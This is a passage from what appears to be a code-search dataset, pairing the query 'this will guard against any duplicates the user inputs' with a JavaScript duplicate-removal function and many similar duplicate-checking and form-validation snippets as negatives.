\"0.49633983\",\n \"0.49513766\",\n \"0.49499455\",\n \"0.49455753\",\n \"0.49244434\",\n \"0.49115518\",\n \"0.48922718\",\n \"0.48646355\",\n \"0.48593962\",\n \"0.48577052\",\n \"0.4855432\",\n \"0.4838728\",\n \"0.4838031\",\n \"0.4825128\",\n \"0.48249486\",\n \"0.48244342\",\n \"0.48162448\",\n \"0.48043308\",\n \"0.48003414\",\n \"0.47997946\",\n \"0.4796625\",\n \"0.47905025\",\n \"0.47849536\",\n \"0.47799447\",\n \"0.47776455\",\n \"0.4755562\",\n \"0.47546393\",\n \"0.47448108\",\n \"0.4740631\",\n \"0.4735003\",\n \"0.47313973\",\n \"0.47295067\",\n \"0.47244897\",\n \"0.47141165\",\n \"0.47077686\",\n \"0.47056884\",\n \"0.47052172\",\n \"0.47045252\",\n \"0.47029313\",\n \"0.47026756\",\n \"0.46973765\",\n \"0.46937048\",\n \"0.46884277\",\n \"0.4683101\",\n \"0.46794215\",\n \"0.46791098\",\n \"0.46743\",\n \"0.46722734\",\n \"0.4670856\",\n \"0.46664122\",\n \"0.46619037\",\n \"0.46610492\",\n \"0.46557167\",\n \"0.46547738\",\n \"0.46544635\",\n \"0.46508488\",\n \"0.46502376\",\n \"0.46471956\",\n \"0.46467066\",\n \"0.464512\",\n \"0.4644591\",\n \"0.46438715\",\n \"0.46402332\",\n \"0.46384144\",\n \"0.46374774\",\n \"0.46294704\",\n \"0.4627889\",\n \"0.46241114\",\n \"0.46236378\"\n]"},"document_score":{"kind":"string","value":"0.7198466"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":11,"cells":{"query":{"kind":"string","value":"this will guard against any duplicates the user inputs"},"document":{"kind":"string","value":"function noDuplicatesinUserGuesses(userGuessesArr) {\n\tvar checkDuplicatesArr = [];\n\tfor (var i = 0; i < userGuessesArr.length; i++) {\n\t\tif (checkDuplicatesArr.indexOf(userGuessesArr[i]) === -1) {\n\t\t\tcheckDuplicatesArr.push(userGuessesArr[i]);\n\t\t}\t\n\t}\n\treturn checkDuplicatesArr;\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function checkIsDuplicatingInputs(numOfInputs) {\n const InputsArr = [];\n for (let i = 1; i <= numOfInputs; i++) {\n InputsArr.push(document.getElementById(`serial-${i}`).value + '-' + document.getElementById(`typeName-${i}`).value);\n }\n return InputsArr.length === new Set(InputsArr).size;\n }","function uniqueInput(input){\n\t\tvar temp = 0;\n\t\tfor(m=0; m < guessedLetters.length; m++) {\n\t\t\tif (guessedLetters[m] === input){\n\t\t\t\ttemp++;\n\t\t\t\t// log(\"Temp count: \" + temp);\n\t\t\t}\n\t\t}\n\t\tif (temp === 0){\n\t\t\tuniqueLetter = true;\n\t\t\t// alert(\"First Time\");\n\t\t\treturn uniqueLetter;\n\t\t\tguessedLetters.push(input);\n\t\t}\n\t\telse if(temp !== 0){\n\t\t\tuniqueLetter = false;\n\t\t\t// alert(\"Please Pick a new letter that you have not used before.\");\n\t\t\treturn uniqueLetter;\n\t\t}\n\t}","function duplicateChecker(input) {\r\n let duplicateSwitch = false;\r\n if (ul.children.length > 0) {\r\n for (let i = 0; i < ul.children.length; i++) {\r\n if (input.value === ul.children[i].children[0].textContent) {\r\n duplicateSwitch = true;\r\n break;\r\n };\r\n }\r\n }\r\n return duplicateSwitch;\r\n }","function checkUserDuplicates(value) {\n if (!userInputsArray.includes(value)) {\n userInputsArray.push(value);\n\n return true;\n }\n\n return false;\n}","function inputIsValid(){\n\tconsole.log(ul.children.length);\n\tif (input.value.length > 0)\n\t{\n\t\tfor (i = 0, len = ul.children.length; i < len; i++) {\t\t\t\n\t\t\t// Notebook \n\t\t\t// ul.children[i] = selected list item (textContent for above example = \"Notebook Delete\", so inspect span tag only)\n\t\t\t// ul.children[i].children[0] = span tag of the selected list item\t\t\t\n\t\t\tvar entry = ul.children[i].children[0].textContent.toLowerCase().trim();\n\t\t if (input.value.toLowerCase().trim() === entry) {\n\t\t \treturn false //don't add duplicate item\n\t\t\t}\n\t\t}\n\t\tconsole.log(\"isValid\");\n\t\treturn true;\n\t}\n\treturn false;\n}","function DuplicateIn() {\n\n var formInvalid = false;\n $('#register_form input').each(function() {\n if ($(this).val() === '') {\n formInvalid = true;\n }\n });\n\n if (formInvalid)\n alert('One or Two fields are empty. Please fill up all fields');\n}","function appendListIfInputValid(input) {\n // info: slice() slices the string and returns it starting from the given index\n // toUpperCase() converts a string to uppercase letters.\n // toLowerCase() converts a string to lowercase letters.\n input = input.charAt(0).toUpperCase() + input.slice(1).toLowerCase();\n\n // appends list array and returns true if no duplicate or empty values else returns false\n if (searchArrayForItem(list, input) == -1 && input != '') {\n list.push([input, 'noCheck']);\n return true;\n } else return false;\n}","function addTokenGuard()\n {\n if(input.val() == '' || input.val() == undefined)\n return true;\n\n // If the value already exists in the list then dont add it\n var dirty = false;\n list.children('li').each(function() {\n if($(this).html() == input.val())\n dirty = true;\n });\n\n return dirty;\n }","function manage_user_input(){\n let input = $(\"#user_input\").val().toUpperCase();\n if(input.length > 0 && !all_user_input.includes(input)){\n $(\"#game_message_p\").attr(\"hidden\",true);\n $(\"#user_input\").val(\"\");\n let isTarget = check_user_input(input);\n store_user_input(input,isTarget);\n } else {\n $(\"#game_message_p\")\n .text(\"Input too short (min length = 1) or you already tried this word.\")\n .attr(\"hidden\",false);\n }\n}","function addTo() { \n//had to parseInt so that player choices were converted to integars to be compared with lottoArray latter - this takes userinput, coverts it to an integar and populates playerArray\n playerChoice = parseInt(document.getElementById(\"userinput\").value);\n //created to manage situations where the player may input a duplicate option (this disallows duplicates in the array)\n if (playerArray.length < 6 && playerArray.indexOf(playerChoice) === -1){\n playerArray.push(playerChoice); \n //highlights with an alert when the player has chosen all 6 numbers\n if(playerArray.length == 6){\n printNumbersPlayer()\n alert(\"you have now chosen your 6 numbers!\");\n }\n\n return false;\n }\n //this else statement posts an alert if a duplicate has been used\n else {\n alert(\"you have used a duplicate, try another number!\");\n return false;\n }\n }","function checkDuplicatePicklistValues(arr) {\n\tvar len=arr.length;\n\tfor (var i=0; i 2) throw new Error('Input must contain only two character types')\n }\n return [[...seen], input]\n}","function add(animals, animal) {\n// takes an array of animals and an object representing a new animal\n // checks that the param animal Object has a name prop with a length > 0 && species prop with a length > 0\n // checks that the new animal has a UNIQUE name that doesn't already exist in the animals array\n \n // if user types something into the fields\n if (animal.name.length > 0 && animal.species.length > 0) {\n // loop to check to see if the name exists \n for (let i = 0; i < animals.length; i++) {\n if (animal.name === animals[i].name) {\n console.log (\"that animal exists\");\n return;\n } \n }\n animals.push(animal);\n }\n}","checkUserInput() {\r\n const {\r\n drugId1, drugId2, sample, dataset,\r\n } = this.state;\r\n return drugId1 !== 'Any' || sample !== 'Any' || dataset !== 'Any' || drugId2 !== 'Any';\r\n }","function isDuplicateEntry(wslId) {\r\n\t//alert(\"wslField = \" + wslField);\r\n\tvar wslIdList = getMainView().forms[0].elements[wslField];\r\n\t//alert(\"wslIdList = \" + wslIdList);\r\n\tvar duplicate = false;\r\n\t//alert(\"!wslIdList = \" + (!wslIdList));\r\n\tif(!wslIdList) return false;\r\n\t\r\n\t//alert(\"wslIdList.length = \" + wslIdList.length);\r\n\tif(wslIdList.length) {\r\n\t\t// there are more than one entry\r\n\t\tfor(var z=0; z 1) return true\n }\n return false;\n}","function removeDuplicates (input) {\n\t\t\tlet result = input.filter(function(item, pos) {\n\t\t\t\treturn input.indexOf(item) == pos;\n\t\t\t});\n\t\t\treturn result\n\t\t}","function areThereDuplicates2() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n }","function findDuplicate() {\n\n var modelsArray = [$scope.data.first, $scope.data.second, $scope.data.third, $scope.data.fourth];\n var filteringModelsArray = _.uniq(modelsArray);\n\n return filteringModelsArray.length === modelsArray.length;\n }","function checkForDuplicates()\r\n\t{\r\n\tfor (i=0; i < activeClippings.length; i++)\r\n\t\t{\r\n\t\tif (newClipping == activeClippings[i].id) {i = allClippings.length; duplicate = true;}\r\n\t\t}\r\n\t}","function checkInput(guess) {\n\t\tfor (var i = 1; i <= 4; i++) {\n\t\t\tvar inputnow = \"input\" + i;\n\t\t\t//console.log(inputnow);\n\t\t\tvar newNum = parseInt(document.getElementById(inputnow).value);\n\t\t\tconsole.log(newNum);\n\t\t\tif (isValid(newNum)) {\n\t\t\t\t\n\t\t\t\tif (checkNum(newNum, guess)) {\n\t\t\t\t\t// Good to go. \n\t\t\t\t} else {\n\t\t\t\t\tdocument.getElementById(\"message\").innerHTML = \"\" + newNum + \"Is a duplicate number. Fix it
\";\n\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t} else {\n\t\t\t\t\n\t\t\t\tdocument.getElementById(\"message\").innerHTML = \"Hey, you forgot to enter a number. You might do that before I just decide to keep your money and tell you to go away
\";\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t}\n\t}","function isDuplicate(name,phone,twitter){\n\tvar isduplicate=false; \n\t\tfor(var i=0;i 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function handleSaveUrl() {\n inputValue = input.value;\n let checkUrl = arrWithUrl.includes(inputValue);\n if(checkUrl) {\n showModal();\n modalContent.textContent = \"You have already saved this url\"; \n } else {\n arrWithUrl.push(inputValue);\n setLocalStorage(arrWithUrl);\n createUrlItem(inputValue);\n }\n form.reset();\n}","function validateNamesUnique() {\n var i = 0;\n while (vm.paramsForm.hasOwnProperty('name_' + i)){\n var modelValue = vm.paramsForm['name_' + i].$modelValue;\n vm.paramsForm['name_' + i].$setValidity(\n 'unique',\n vm.parametersList.isNameUnique(modelValue)\n );\n i++;\n }\n }","function areThereDuplicates() {\n // console.log(arguments)\n let counter = {};\n for (let i=0; i< arguments.length; i++){\n // counter[arguments[i]] = ++counter[arguments[i]] || 1;\n if (counter[arguments[i]]) return true;\n counter[arguments[i]] = 1;\n // console.log(counter)\n\n }\n return false;\n}","function checkDuplicatedNames() {\n\n for(var i = 0; i < productTable.length; i++)\n {\n if(productName.value == productTable[i].name) \n {\n productName.classList.add(\"is-invalid\");\n productName.classList.remove(\"is-valid\");\n\n PNameAlert.classList.add(\"d-block\");\n PNameAlert.classList.remove(\"d-none\");\n\n PNameAlert.innerHTML = \"Product Name Already Exists\";\n\n addBtn.disabled = true;\n } \n }\n}","function insertNum(){\r\n var win = true;\r\n for (var i = 0; i < numbers.length; i++) {\r\n userList[i] = Number(prompt(\"Inserisci il \"+ (i+1) +\"° numero\"));\r\n if (userList[i] === numbers[i]) {\r\n win *= true;\r\n }\r\n else{\r\n win = false;\r\n }\r\n }\r\n return win;\r\n}","function getValue(input){\n //if our dot array operators2 includes(includes basically check a value)..if value u r checking is within operators2, it will return true, if not, it will return false..last value=inputs.length-1\n if(operators2.includes(inputs[inputs.length-1]===true && input===\".\")){\n console.log(\"Duplicat '.' \");\n }\n //if very first number is exactly = 1\n else if(inputs.length===1 && operators1.includes(input)===false){\n //add value to inputs array..inputs=array..input=this.id that we will be adding..so basically is checking if it is a number\n inputs.push(input); \n }\n //if last thing was not an operator, go ahead and add that input to the array\n //if last character was not an operator, add operator to the array\n else if(operators1.includes(inputs[inputs.length-1])===false){\n inputs.push(input);\n }\n //check to add a number..convert string to number\n //if input includes,of how we r getting id, convert string to number..if it includes that input..if that is true..\n else if(nums.includes(Number(input))){\n //push input to end of array?\n inputs.push(input);\n }\n //update function will update value at end of our list\n update();\n }","function findDuplicateCharacters(input) {\n}","inNoOfShare() {\n var flag = true;\n var Noofshares = read.question(\"Enter how many shares you have \");\n while (flag) {\n\n if (!isNaN(Noofshares)) {//for validate full name\n flag = false;\n } else {\n var Noofshares = read.question(\"Wrong input !!!...Please enter No of shares in integer \");\n }\n }\n return Noofshares;\n }","function hasElementsWithUniqueNames() {\n let duplicates = findDuplicates(inputsSelectsTextareas, 'name', 'formAncestorID')\n // Radio buttons have duplicate names.\n .filter(field => field.type !== 'radio');\n let problemFields = duplicates.map(field => stringifyElement(field));\n // Deduplicate items with same tagName and id.\n problemFields = [...new Set(problemFields)];\n if (problemFields.length) {\n const item = {\n // description: 'Autocomplete values must be valid.',\n details: 'Found fields in the same form with duplicate name attributes:
• ' +\n `${problemFields.join('
• ')}`,\n learnMore: 'Learn more: The input element name attribute',\n title: 'Fields in the same form must have unique name values.',\n type: 'error',\n };\n items.push(item);\n }\n}","function validateInput(){\n\tvar api_key_input = $('#api-key-input');\n\tvar search_input = $('#summoner-name-input');\n \tif (!isEmpty(search_input) && !isEmpty(api_key_input)){\n\t\tvar selected = getSelectedOption();\n\t\t//alert(empty_checker + ' | ' + selected);\n\t\tif (selected == 'summary'){\n\t\t\tsearchSummonerStatsSummary();\n\t\t} else {\n\t\t\tsearchSummonerStatsRanked();\n\t\t}\n\t}\n}","function areThereDuplicates() {\n if (arguments.length < 2) return false;\n const counter = {};\n for (let i = 0; i < arguments.length; i++) {\n if (counter[arguments[i]]) {\n return true;\n } else {\n counter[arguments[i]] = 1;\n }\n }\n return false;\n}","function userInput(){ \n everythingOk = false; \n while(everythingOk === false){\n // answer = inputLength(); \n upCaseRslt = upCase();\n lcase = lowCase(); \n numAnsr = numOpt();\n symbolAnswer = simbl(); \n if(upCaseRslt === false && lcase === false && numAnsr === false && symbolAnswer === false){\n alert(\"at least one option must be checked in order to create password\"); \n }else{ \n everythingOk = true; \n } \n } \n }","function oneOfEach(sentence) {\n let unique = [];\n sentence = sentence.split('');\n for(let i = 0; i < sentence.length; i++) {\n if(!unique.includes(sentence[i])) {\n unique.push(sentence[i]);\n }\n }\n let newSentence = unique.join('');\n return $('').text('No duplicates: ' + newSentence).appendTo('#outputs');\n}","function clickedScore() {\n if (playerInitals.includes(nameSubmit.value)) {\n alert(\"That inital already exist\");\n } else if (\n nameSubmit.value === \"\" ||\n nameSubmit.value === null ||\n nameSubmit.value === undefined\n ) {\n alert(\"Please enter valid initals\");\n } else {\n playerInitals.push(nameSubmit.value);\n playerScores.push(score);\n setLS();\n matchHS();\n viewHS();\n }\n}","handleSubmit(event) {\n event.preventDefault();\n let symbol = event.target[0].value.trim();\n if (symbol === '') {\n alert('The input box was empty.');\n } else if (this.state.stockSymbols.includes(symbol.toUpperCase())) {\n alert('This stock symbol has already been entered.');\n } else if (!this.state.validSymbols.includes(symbol.toUpperCase())) {\n alert('That isn\\'t a valid stock symbol.');\n } else {\n let newSymbols = this.state.stockSymbols.slice();\n newSymbols.push(symbol.toUpperCase());\n this.setState({stockSymbols: newSymbols});\n }\n }","function duplicateCheck() {\n if(duplicateInput.checked) {\n if (lengthInput.value.trim() <= 10) {\n return(true)\n }\n else {\n dupErrorString.textContent = \"You can only remove duplicates for a password of 10 or fewer characters\"\n return(false)\n }\n }\n else {\n return(true)\n }\n}","addSong(selectedSong){\r\n let newItem = this.userBand + \" - \" + selectedSong;\r\n //prevents adding of duplicate songs\r\n this.userSetlist.indexOf(newItem) === -1 ? this.userSetlist.push(newItem) : console.log(\"This song is already in the list\");\r\n }","function readInput() {\n clear(\"comparingDiv\")\n\n input1 = document.getElementById(\"searchbox1\").value;\n input2 = document.getElementById(\"searchbox2\").value;\n\n var list = educationInterface.getIDs();\n\n if (!list.includes(input1) || !list.includes(input2)) \n comparingDiv.appendChild(document.createTextNode(\"Invalid input. Please check that both field contain valid ids.\"));\n else \n createComparisionTables(input1.toString(), input2.toString());\n\n return false;\n}","inStockName() {\n var name = read.question(\"Enter the name of stock \");\n var flag = true;\n while (flag) {//for validating inputs\n\n if (isNaN(name)) {//for validate the name \n flag = false;\n } else {\n var name = read.question(\"Wrong input !!!...Please enter correct name of Stack \");\n }\n }\n return name;\n }","function duplicateChars(letter) {\n if (correctGuesses.includes(letter) || wrongGuesses.includes(letter)) {\n warning = \"YOU ALREADY GUESSED THAT LETTER!\";\n warningElement.innerHTML = warning;\n }\n}","function duplicateFinder(word, inputValueArr, currentKey) {\n console.log(\"word, inputValueArr, currentKey\", word, inputValueArr, currentKey);\n\n for (let i = 0; i < inputValueArr.length; i++) {\n //exclude checking the current index while finding duplicates.\n //This is done because the current index is where the {word} is saved. So we should check only with other objects in array.\n if (currentKey != i && word === inputValueArr[i]) {\n return true;\n }\n\n }\n return false;\n}","function checkInput() {\n if (attempts > 0) {\n let counter = 0;\n\n for (let toValidate of domList.children) {\n let li = toValidate;\n let wordChar = li.getAttribute(\"data-char\").toLowerCase();\n let pChar = toValidate.querySelector(\"p\");\n\n if (wordChar === inputChar) {\n counter = counter + 1;\n pChar.classList.remove(\"hidden\");\n }\n }\n let check = wrongKeys.includes(inputChar);\n\n if (counter === 0 && check === false) {\n wrongKeys.push(inputChar);\n displayWrongKeys();\n }\n }\n countWrongAttempts();\n}","addEntry() {\n let candidateName = this.state.newEntryName\n let temp = this.state.pieData\n let newId = this.generateId()\n\n //Avoiding empty labels\n if(candidateName === ''){\n alert(\"Please insert an entry name\")\n } \n else{\n\n //Ensuring that the label is unique by going through all labels in pie data..\n for(var i = 0; i < temp.length; i++){\n\n //If not unique, the user is asked to enter a new entry, and the input box is reset. \n if(temp[i].label === candidateName){\n alert(\"This entry already exists. Please enter a unique entry name.\");\n document.getElementById('newEntry').value = '';\n return\n }\n }\n\n //If there are no errors, the entry object is pushed into pieData.\n temp.push({id: newId, label: candidateName, value: '0', votes: 0});\n this.setState({\n pieData: temp,\n newEntryName: ''\n })\n //Reset the data from the input\n document.getElementById('newEntry').value = '';\n }\n }","function combinedArray() {\n var userName = prompt(\"Please enter a name\", \"Enter name here\");\n var nameSearch = allNames.lastIndexOf(userName);\n if (nameSearch > 0) {\n alert(\"Your name is in the array\")\n }\n else {\n alert(\"Your name is NOT in the array\")\n }\n}","function areThereDuplicates() {\n let freqCounter = {};\n for(let i = 0; i < arguments.length; i++){\n if(freqCounter[arguments[i]]){\n return true;\n } else {\n freqCounter[arguments[i]] = true;\n }\n }\n return false;\n}","function validateUnique(threeArray){\n for(var i = 0; i < threeArray.length; i ++){\n for(var v = 0; v < lastItemsSeen.length; v++){\n if(threeArray[i].product === lastItemsSeen[v].product){\n \n return false;\n \n }\n }\n return true;\n }\n}","function userInput() {\n checkedUpper = window.confirm('Do you want Upper Case Letters?');\n checkedLower = window.confirm('Do you want Lower Case Letters?');\n checkedNumbers = window.confirm('Do you want Numbers?');\n checkedSpecial = window.confirm('Do you want Special Characters?');\n if (!checkedUpper && !checkedLower && !checkedNumbers && !checkedSpecial) {\n alert(\"Must choose at least one\");\n userInput();\n }\n}","function areThereDuplicates() {\n let collection = {};\n for (let val in arguments) {\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1;\n }\n for (let key in collection) {\n if (collection[key] > 1) return true;\n }\n return false;\n}","function checkUserInput(){\n\t\t//check if title name is inputted\n\t\tif (!$(element).find('input[id=edit_title_name]').val()){\n\t\t\talert (\"Please input the test's title name\");\t\t\n\t\t\treturn false;\n\t\t}\n\t\t//check if test type is selected\n\t\tif (!$('#edit_test_type').val()){\n\t\t\talert (\"Please choose the test type\");\t\t\n\t\t\treturn false;\n\t\t}\n\t\t//check if total question number is inputted correctly\n\t\tif ( isNaN($(element).find('input[id=edit_total_question]').val()) || !isPositiveInteger($(element).find('input[id=edit_total_question]').val()) ){\n\t\t\talert (\"Please input correct number in total main question number\");\t\t\n\t\t\treturn false;\n\t\t}\n\t\t//check in each question set...\n\t\tnGroups = $(element).find('input[id=edit_total_question]').val();\n\t\tfor (var i=1;i<=nGroups;i++){\n\t\t\t//check if sub question number is inputted correctly\n\t\t\tif (isNaN($(element).find('input[id=edit_total_sub_question_' + i + ']').val()) || !isPositiveInteger($(element).find('input[id=edit_total_sub_question_' + i + ']').val()) ){\n\t\t\t\talert (\"Please input correct number in total sub question number for Q\" + i);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t//check in each question...\n\t\t\tvar total_sub_question = $(element).find('input[id=edit_total_sub_question_' + i + ']').val();\n\t\t\tfor (var j=1;j<=total_sub_question;j++){\n\t\t\t\t//check question content or picture is inputted\n\t\t\t\tif (!$(element).find('input[name=question' + i + '\\\\.'+ j + ']').val() && !$(element).find('input[name=question' + i + '\\\\.'+ j + '_pic]').val()){\n\t\t\t\t\talert (\"Please input a question content or picture on Q\" + i + \".\" + j);\n\t\t\t\t\treturn false;\t\t\t\t\n\t\t\t\t}\n\t\t\t\t//check learning object link and name are inputted.\n\t\t\t\tif (!$(element).find('input[name=lo' + i + '\\\\.' + j + '_link]').val() && $(element).find('input[name=lo' + i + '\\\\.' + j + '_link]').length > 0){\n\t\t\t\t\tif (j==1) {}\n\t\t\t\t\telse {\n\t\t\t\t\t\talert (\"Please input learning object link for Q\" + i + '.' + j);\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (!$(element).find('input[name=lo' + i + '\\\\.' + j + '_name]').val() && $(element).find('input[name=lo' + i + '\\\\.' + j + '_name]').length > 0){\n\t\t\t\t\tif (j==1) {}\n\t\t\t\t\telse {\n\t\t\t\t\t\talert (\"Please input learning object name for Q\" + i + '.' + j);\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t//variable to check for checkbox (correct answer)\n\t\t\t\tvar isChecked = false;\t\n\t\t\t\t//check for each answer...\n\t\t\t\tfor (var k=1;k<=4;k++){\n\t\t\t\t\t//check answer content is inputted\n\t\t\t\t\tif (!$(element).find('input[name=answer' + i + '\\\\.'+ j + '_'+ k + ']').val()){\n\t\t\t\t\t\talert (\"Please input an answer for Q\" + i + \".\" + j);\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\t//check if one of checkboxes is selected \n\t\t\t\t\tif ( $(element).find('input[id=answer' + i + '\\\\.'+ j + '_'+ k + '_cb]').is(':checked')){\n\t\t\t\t\t\tisChecked = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t//if no checkbox is selected\n\t\t\t\tif (!isChecked){\n\t\t\t\t\talert (\"Please select one correct answer in Q\" + i + \".\" + j);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\t\t\n }\n\t\treturn true;\n\t}","function checkInput(){\n if(isNaN(userGuess)) {\n alert(\"Please enter a number from 1 - 100!\");\n } else if(userGuess === \" \") {\n alert(\"Well, you have to input a number\");\n } else if (userGuess < 0 || userGuess > 100) {\n alert(\"Plese enter a number from 1 - 100!\");\n } else {\n comparisonAmount();\n console.log(\"User guess = \" + userGuess);\n $('#userGuess').val('');\n guessCount++;\n setCount(guessCount);\n $('ul#guessList').append(\" \" + userGuess + \" \");\n }\n}","checkIfUnique(name, value, signal) {\n if (name === 'password' || name === 'confirmPassword') return;\n return this.getAll(signal)\n .then(users => {\n return users.find(user => user[name] === value)\n })\n .then(user => {\n let message = '';\n if (user !== undefined){\n message = `This ${name} has already been used.`; \n } \n return this.setError(name, message); \n });\n }","function checkDuplicate()\n {\n var found = false;\n for (var i = 0; i < $scope.list.length; i++)\n {\n if ($scope.list[i].item == $scope.item)\n {\n found = true;\n }\n }\n return found;\n }","function areThereDuplicates() {\n let args = [...arguments];\n const argsList = {}\n for(let i = 0; i< args.length; i++){\n let currentArg = args[i];\n argsList[currentArg] ? argsList[currentArg] += 1: argsList[currentArg] = 1\n }\n for (let two in argsList) {\n if (argsList[two] > 1) {\n return true;\n }\n }\n return false;\n}","handleSubmit(e) {\n e.preventDefault();\n let firstValue, secondValue;\n const [firstInput, secondInput] = e.target.elements;\n firstValue = firstInput.value.trim().split(' ').join('');\n secondValue = secondInput.value.trim().split(' ').join('');\n\n this.checkValues(firstValue,secondValue);\n\n firstInput.value = '' ;\n secondInput.value = '' ;\n firstInput.focus();\n\n }","function checkEntry() {\n while (typeof sticksToRemove !== \"number\" ||\n Math.trunc(sticksToRemove) !== sticksToRemove ||\n sticksToRemove < 1 ||\n sticksToRemove > Math.min(3, stickCount)) {\n sticksToRemove = parseInt(prompt(\"Invalid entry. \" + players[0] + \", how many sticks do you want to remove? (1-3)\"));\n }\n}","function checkDupe(data,x){\n\n if(idArray.includes(data[x][0])){\n return false;\n } else { return true; }\n\n}","function areThereDuplicatesBonus(...args) {\n args.sort();\n let j = 1;\n let i = 0;\n while(j !== args.length){\n if(args[j] !== args[i]){\n i++;\n j++;\n } else {\n return true;\n }\n }\n return false;\n}","function areThereDuplicates() {\n return new Set(arguments).size !== arguments.length;\n }","function areThereDuplicates() {\n return new Set(arguments).size !== arguments.length;\n }","function validateSkillSelections(){\n // if there are errors clear them here, we'll replace them if they aren't fixed\n $('.skills_section .validation_error').remove();\n var $skills = $(\".skill_selector\");\n var result = true;\n console.log(`Starting skill validation. Result: ${result}`);\n for(let j = 0; j < $skills.length; j++){\n for(let i = $skills.length - 1; i > j; i--){\n if( $($skills[j]).val() === $($skills[i]).val()){\n // Two skills are the same, fire an error message\n console.log(\"two skills are the same!!!!\");\n result = false;\n let skillType = $skills[j].id.slice(0, $skills[j].id.lastIndexOf(\"_\"));\n if ($(`.skills_section .${skillType}_error`).length < 1){\n insertValidationError(`.${skillType}_list`, skillType, \"You cannot choose the same skill more than once\"); \n }\n }\n }\n }\n console.log(`Ending skill validation. Result: ${result}`);\n return result;\n }","function checkGuess () {\n var isItRepeated = $guessed.includes($guess);\n if (isItRepeated === true) {\n alreadyGuessed = true;\n } else {\n alreadyGuessed = false;\n }\n }","addStudent(newStudent) {\n let foundDuplicates = studentsFullList.filter(student => {\n return student.name.includes(newStudent.name) == true || student.email.includes(newStudent.email) == true\n });\n if (foundDuplicates.length > 0) {\n console.log(`Student already added`);\n } else {\n studentsFullList.push(newStudent);\n }\n return {\n newStudent,\n studentsFullList\n }\n }","function isValid(guess) {\n return !hasDuplicates(guess)\n}","function validateUsers(e) {\n let username = e.target.name.value;\n let pin = e.target.pin.value;\n console.log(username, pin);\n let x = sortedUsers.find((user) => user.username === username);\n if (x != undefined) {\n x.pin === pin ? exitSignIn(x) : alert(\"incorrect password\");\n } else {\n console.log(\"at else Existing User\");\n alert(\"invalid input, try again\");\n }\n }","function theGuess(userInput) {\n //if the user guessed correctly....\n if (userInput === theLetter) {\n winCounter++;\n lettersGuessed.length = 0;\n guessesRemaining = 8;\n newLetter();\n printWin();\n printLetters();\n printGuesses();\n winCheck();\n //if the user guessed incorrectly and that letter has not already been guessed....\n } else if (lettersGuessed.includes(userInput) === false) {\n console.log(`User entered ${userInput}`);\n lettersGuessed.push(userInput);\n guessesRemaining--;\n printGuesses();\n printLetters();\n }\n gameCheck();\n}","function checkInputField(event) {\n if (event.keyCode == 13 && players.length < maxPlayerNumber) {\n AddPlayer();\n }\n}","function validActivityInput(){\n let activity = [];\n const activityError = \"At least one activity must be selected
\";\n $('.activities label input').each((index, element) => {\n activity.push(element.checked);\n })\n if (activity.indexOf(true) === -1 && $('.activityWarning').length === 0){\n $('.activities').after(activityError);\n }\n if (activity.indexOf(true) !== -1 && $('.activityWarning').length > 0){\n $('.activityWarning').remove();\n }\n}","function checkInput(name,key)\n{\n if (name.match(/^\\s*$/)) //checks that roomane is not empty/contain only whitespace\n {\n window.alert(\"Room Name Can't Be Empty\");\n return false;\n }\n else if (key.match(/^\\s*$/)) //check that room key is not empty/contain only whitespace\n {\n window.alert(\"Room Key Can't Be Empty\");\n return false;\n }\n else\n {\n return true;\n }\n}","function playersGuessSubmission() {\n playersGuess = $(\"#guessInput\").val();\n \n $(\"#yourGuess\").text(\"Your guess was \" + playersGuess + \".\");\n \n \t$(\"#guessInput\").val(\"\").focus();\n if (checkGuess()==false){\n $(\"#compare\").text(lowerOrHigher());\n if (guessHistory.indexOf(playersGuess)!== -1){\n \t\t$(\"#yourGuess\").append(\" You've tried that before!\"); \t\t \n \t\t}\n \t}\n \tguessHistory.push(playersGuess);\n \t\n}","function uniqueValues(value) {\n if (arr1.includes(value) && arr2.includes(value)) {\n console.log(\"dupe\") \n } else {\n return value;\n }\n }","validateAnItem(item) {\n let errors = [];\n if (_.find(this.state.items, {sequenceName: item.sequenceName})) {\n errors.push(\"There's already a sequence with this name\");\n }\n if (_.find(this.state.items, {sequence: item.sequence})) {\n errors.push(\"There's already another entry for this sequence\");\n }\n if (item.sequenceName === \"\") {\n errors.push(\"Name is required\");\n }\n if (item.sequenceDescription === \"\") {\n errors.push(\"Description is required\");\n }\n if (item.sequence === \"\") {\n errors.push(\"Sequence is required\");\n } \n // We only need the first occurance of a non-allowed letter, so .search makes sense here\n let nonDNA = item[\"sequence\"].search(/[^ATCG]/g);\n if 